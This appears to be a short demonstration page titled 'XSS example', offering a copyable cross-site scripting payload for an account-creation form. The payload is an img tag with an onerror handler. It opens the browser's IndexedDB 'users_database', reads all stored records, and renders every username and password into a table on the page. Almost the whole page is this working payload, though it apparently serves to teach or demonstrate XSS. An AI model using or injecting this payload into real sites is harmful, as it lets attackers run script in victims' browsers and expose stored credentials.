XSS example

Create new account

<img onerror=' (() => { const request = indexedDB.open("users_database", 2); request.onsuccess = function (event) { const db = event.target.result; const transaction = db.transaction(["users"], "readwrite"); const objectStore = transaction.objectStore("users"); const contents = objectStore.getAll(); contents.onsuccess = (event) => { const data = event.target.result; console.log(data, "data"); const main = document.querySelector(".main"); const tr = document.createElement("tr"); const th1 = document.createElement("th"); const th2 = document.createElement("th"); th1.classList.add("px-4", "py-2"); th2.classList.add("px-4", "py-2"); th1.textContent="Username"; th2.textContent="Password"; const thead = document.createElement("thead"); const tbody = document.createElement("tbody"); const table = document.createElement("table"); const container = document.createElement("div"); thead.classList.add("bg-gray-50"); table.classList.add("divide-y", "divide-gray-200"); container.classList.add("shadow", "overflow-hidden", "border-b", "border-gray-200", "sm:rounded-lg"); tr.append(th1); tr.append(th2); thead.append(tr); table.append(thead); for (const { username, password } of data) { const tr = document.createElement("tr"); const td1 = document.createElement("td"); const td2 = document.createElement("td"); td1.classList.add("border", "px-4", "py-2"); td2.classList.add("border", "px-4", "py-2"); td1.textContent = username; td2.textContent = password; tr.append(td1); tr.append(td2); tbody.append(tr); } table.append(tbody); container.append(table); main.append(container); }; }; })(); ' src='invalid-image'>
Copied!